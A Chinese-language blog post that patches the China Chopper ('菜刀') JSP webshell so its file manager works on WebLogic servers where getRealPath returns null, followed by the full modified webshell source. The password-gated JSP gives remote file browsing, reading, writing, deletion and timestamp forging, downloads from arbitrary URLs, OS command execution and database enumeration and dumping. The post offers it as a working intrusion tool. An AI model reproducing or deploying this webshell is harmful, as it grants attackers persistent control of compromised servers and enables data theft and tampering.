某些情况下WebLogic可用的菜刀

有时候在一些特定的weblogic环境下，菜刀会有一个奇怪的问题，就是文件管理用不了，但是可以执行命令。

通过debug，发现服务端代码里String s=request.getSession().getServletContext().getRealPath("/");这一句返回了null。进一步查资料，发现了这篇文章：
在weblogic 11g上 this.getServletContext().getRealPath(“/“)为null的原因及解决方法

确定为getRealPath()方法的锅，用文中提到的方法替换上述问题部分，问题解决。

修改后的java菜刀服务端代码(12KB)：

<%@page import = "java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*" %>
<%!
String Pwd = "023";
String EC(String s, String c)throws Exception
{
    return s;
}

String getAbsolutePathByContext(HttpServletRequest request) throws Exception
{  
    String webPath = request.getSession().getServletContext().getRealPath("/");  
    webPath = webPath.replaceAll("[\\\\\\/]WEB-INF[\\\\\\/]classes[\\\\\\/]?", "/");  
    webPath = webPath.replaceAll("[\\\\\\/]+", "/");  
    webPath = webPath.replaceAll("%20", " ");  
  
    if (webPath.matches("^[a-zA-Z]:.*?$")) {  
  
    } else {  
        webPath = "/" + webPath;  
    }  
  
    webPath += "/";  
    webPath = webPath.replaceAll("[\\\\\\/]+", "/");  
    return webPath;  
} 

String getAbsolutePathByClass(HttpServletRequest request) throws Exception
{
    String webPath = request.getClass().getResource("/").getPath().replaceAll("^\\/", ""); 
    webPath = webPath.replaceAll("[\\\\\\/]WEB-INF[\\\\\\/]classes[\\\\\\/]?", "/");  
    webPath = webPath.replaceAll("[\\\\\\/]+", "/");  
    webPath = webPath.replaceAll("%20", " ");  
  
    if (webPath.matches("^[a-zA-Z]:.*?$")) {  
  
    } else {  
        webPath = "/" + webPath;  
    }  
  
    webPath += "/";  
    webPath = webPath.replaceAll("[\\\\\\/]+", "/");  
  
    return webPath;  
}  

String getAbsolutePathByResource(HttpServletRequest request) throws Exception
{  
    URL url = request.getServletContext().getResource("/");  
    String path = new File(url.toURI()).getAbsolutePath();  
          if (!path.endsWith("\\") && !path.endsWith("/")) {  
        path += File.separator;  
    }  
    return path;  
}  

String getRealPathB(HttpServletRequest request) throws Exception
{
    String webPath = null;
    webPath = request.getSession().getServletContext().getRealPath("/");
    
    if (webPath == null)
    {
        try
        {  
            webPath = getAbsolutePathByContext(request);  
        } catch (Exception e){  
        }  
    }
    
    if (webPath == null)
    {  
        try
        {  
            webPath = getAbsolutePathByClass(request);  
        } catch (Exception e) {  
        }  
    }  
  
    if (webPath == null)
    {  
        try
        {  
            webPath = getAbsolutePathByResource(request);  
        } catch (Exception e) {  
        }  
    }  
    
    if (webPath == null)
        throw new Exception("getRealPath err!");
    return webPath;  
}

Connection GC(String s)throws Exception
{
    String[] x = s.trim().split("\r\n");
    Class.forName(x[0].trim()).newInstance();
    Connection c = DriverManager.getConnection(x[1].trim());
    if(x.length > 2)
    {
        c.setCatalog(x[2].trim());
    }
    return c;
}
void AA(StringBuffer sb)throws Exception
{
    File r[] = File.listRoots();
    for(int i = 0; i < r.length; i++)
    {
        sb.append(r[i].toString().substring(0, 2));
    }
}
void BB(String s, StringBuffer sb)throws Exception
{
    File oF = new File(s), l[] = oF.listFiles();
    String sT, sQ, sF = "";
    java.util.Date dt;
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    for(int i = 0; i < l.length; i++)
    {
        dt = new java.util.Date(l[i].lastModified());
        sT = fm.format(dt);
        sQ = l[i].canRead() ? "R" : "";
        sQ += l[i].canWrite() ? " W" : "";
        if(l[i].isDirectory())
        {
            sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n");
        }
        else
        {
            sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
        }
    }
    sb.append(sF);
}
void EE(String s)throws Exception
{
    File f = new File(s);
    if(f.isDirectory())
    {
        File x[] = f.listFiles();
        for(int k = 0; k < x.length; k++)
        {
            if(!x[k].delete())
            {
                EE(x[k].getPath());
            }
        }
    }
    f.delete();
}
void FF(String s, HttpServletResponse r)throws Exception
{
    int n;
    byte[] b = new byte[512];
    r.reset();
    ServletOutputStream os = r.getOutputStream();
    BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
    os.write(("->" + "|").getBytes(), 0, 3);
    while((n = is.read(b, 0, 512)) != -1)
    {
        os.write(b, 0, n);
    }
    os.write(("|" + "<-").getBytes(), 0, 3);
    os.close();
    is.close();
}
void GG(String s, String d)throws Exception
{
    String h = "0123456789ABCDEF";
    int n;
    File f = new File(s);
    f.createNewFile();
    FileOutputStream os = new FileOutputStream(f);
    for(int i = 0; i < d.length(); i += 2)
    {
        os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
    }
    os.close();
}
void HH(String s, String d)throws Exception
{
    File sf = new File(s), df = new File(d);
    if(sf.isDirectory())
    {
        if(!df.exists())
        {
            df.mkdir();
        }
        File z[] = sf.listFiles();
        for(int j = 0; j < z.length; j++)
        {
            HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
        }
    }
    else
    {
        FileInputStream is = new FileInputStream(sf);
        FileOutputStream os = new FileOutputStream(df);
        int n;
        byte[] b = new byte[512];
        while((n = is.read(b, 0, 512)) != -1)
        {
            os.write(b, 0, n);
        }
        is.close();
        os.close();
    }
}
void II(String s, String d)throws Exception
{
    File sf = new File(s), df = new File(d);
    sf.renameTo(df);
}
void JJ(String s)throws Exception
{
    File f = new File(s);
    f.mkdir();
}
void KK(String s, String t)throws Exception
{
    File f = new File(s);
    SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date dt = fm.parse(t);
    f.setLastModified(dt.getTime());
}
void LL(String s, String d)throws Exception
{
    URL u = new URL(s);
    int n = 0;
    FileOutputStream os = new FileOutputStream(d);
    HttpURLConnection h = (HttpURLConnection)u.openConnection();
    InputStream is = h.getInputStream();
    byte[] b = new byte[512];
    while((n = is.read(b)) != -1)
    {
        os.write(b, 0, n);
    }
    os.close();
    is.close();
    h.disconnect();
}
void MM(InputStream is, StringBuffer sb)throws Exception
{
    String l;
    BufferedReader br = new BufferedReader(new InputStreamReader(is));
    while((l = br.readLine()) != null)
    {
        sb.append(l + "\r\n");
    }
}
void NN(String s, StringBuffer sb)throws Exception
{
    Connection c = GC(s);
    ResultSet r = s.indexOf("oracle") != -1 ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
    while(r.next())
    {
        sb.append(r.getString(1) + "\t");
    }
    r.close();
    c.close();
}
void OO(String s, StringBuffer sb)throws Exception
{
    Connection c = GC(s);
    String[] t = {"TABLE"};
    ResultSet r = c.getMetaData().getTables (null, null, "%", t);
    while(r.next())
    {
        sb.append(r.getString("TABLE_NAME") + "\t");
    }
    r.close();
    c.close();
}
void PP(String s, StringBuffer sb)throws Exception
{
    String[] x = s.trim().split("\r\n");
    Connection c = GC(s);
    Statement m = c.createStatement(1005, 1007);
    ResultSet r = m.executeQuery("select * from " + x[3]);
    ResultSetMetaData d = r.getMetaData();
    for(int i = 1; i <= d.getColumnCount(); i++)
    {
        sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t");
    }
    r.close();
    m.close();
    c.close();
}
void QQ(String cs, String s, String q, StringBuffer sb, String p) throws Exception
{
    Connection c = GC(s);
    Statement m = c.createStatement(1005, 1008);
    BufferedWriter bws = null;
    try
    {
        ResultSet r = m.executeQuery(q.indexOf("--f:") != -1 ? q.substring(0, q.indexOf("--f:")) : q);
        ResultSetMetaData d = r.getMetaData();
        int n = d.getColumnCount();
        for (int i = 1; i <= n; i++)
        {
            sb.append(d.getColumnName(i) + "\t|\t");
        }
        sb.append("\r\n");
        if(q.indexOf("--f:") != -1)
        {
            File file = new File(p);
            file.mkdirs();
            bws = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));
        }
        while (r.next())
        {
            for(int i = 1; i <= n; i++)
            {
                if(q.indexOf("--f:") != -1)
                {
                    bws.write(EC(r.getString(i), cs) + "\t");
                    bws.flush();
                }
                else
                {
                    sb.append(EC(r.getString(i), cs) + "\t|\t");
                }
            }
            bws.newLine();
            sb.append("\r\n");
        }
        r.close();
        if(bws != null)
        {
            bws.close();
        }
    }
    catch (Exception e)
    {
        sb.append("Result\t|\t\r\n");
        try
        {
            m.executeUpdate(q);
            sb.append("Execute Successfully!\t|\t\r\n");
        }
        catch (Exception ee)
        {
            sb.append(ee.toString() + "\t|\t\r\n");
        }
    }
    m.close();
    c.close();
}
%><%
String cs = request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try
{
    sb.append("->" + "|");
    //String s = request.getSession().getServletContext().getRealPath("/");
    String s = getRealPathB(request);
    if(Z.equals("A"))
    {
        sb.append(s + "\t");
        if(!s.substring(0, 1).equals("/"))
        //if(!File.separator.equals("/"))
        {
            AA(sb);
        }
    }
    else if(Z.equals("B"))
    {
        BB(z1, sb);
    }
    else if(Z.equals("C"))
    {
        String l = "";
        BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
        while((l = br.readLine()) != null)
        {
            sb.append(l + "\r\n");
        }
        br.close();
    }
    else if(Z.equals("D"))
    {
        BufferedWriter bws = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
        bws.write(z2);
        bws.close();
        sb.append("1");
    }
    else if(Z.equals("E"))
    {
        EE(z1);
        sb.append("1");
    }
    else if(Z.equals("F"))
    {
        FF(z1, response);
    }
    else if(Z.equals("G"))
    {
        GG(z1, z2);
        sb.append("1");
    }
    else if(Z.equals("H"))
    {
        HH(z1, z2);
        sb.append("1");
    }
    else if(Z.equals("I"))
    {
        II(z1, z2);
        sb.append("1");
    }
    else if(Z.equals("J"))
    {
        JJ(z1);
        sb.append("1");
    }
    else if(Z.equals("K"))
    {
        KK(z1, z2);
        sb.append("1");
    }
    else if(Z.equals("L"))
    {
        LL(z1, z2);
        sb.append("1");
    }
    else if(Z.equals("M"))
    {
        String[] c = {z1.substring(2), z1.substring(0, 2), z2};
        Process p = Runtime.getRuntime().exec(c);
        MM(p.getInputStream(), sb);
        MM(p.getErrorStream(), sb);
    }
    else if(Z.equals("N"))
    {
        NN(z1, sb);
    }
    else if(Z.equals("O"))
    {
        OO(z1, sb);
    }
    else if(Z.equals("P"))
    {
        PP(z1, sb);
    }
    else if(Z.equals("Q"))
    {
        QQ(cs, z1, z2, sb, s.replaceAll("\\\\", "/") + "/images/");
    }
}
catch(Exception e)
{
    sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
%>

压缩版 jsp jspx